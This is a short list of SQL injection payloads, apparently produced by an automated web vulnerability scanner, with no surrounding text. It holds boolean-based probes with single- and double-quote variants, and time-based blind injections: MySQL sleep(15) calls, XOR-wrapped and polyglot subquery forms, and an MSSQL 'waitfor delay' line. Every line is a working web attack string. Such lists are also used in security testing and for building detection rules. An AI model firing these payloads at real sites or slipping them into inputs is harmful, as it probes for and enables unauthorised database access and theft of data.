1

-1 OR 2+629-629-1=0+0+0+1 --

-1 OR 2+720-720-1=0+0+0+1

-1' OR 2+373-373-1=0+0+0+1 --

-1' OR 2+669-669-1=0+0+0+1 or 'U28QZaEU'='

-1" OR 2+796-796-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --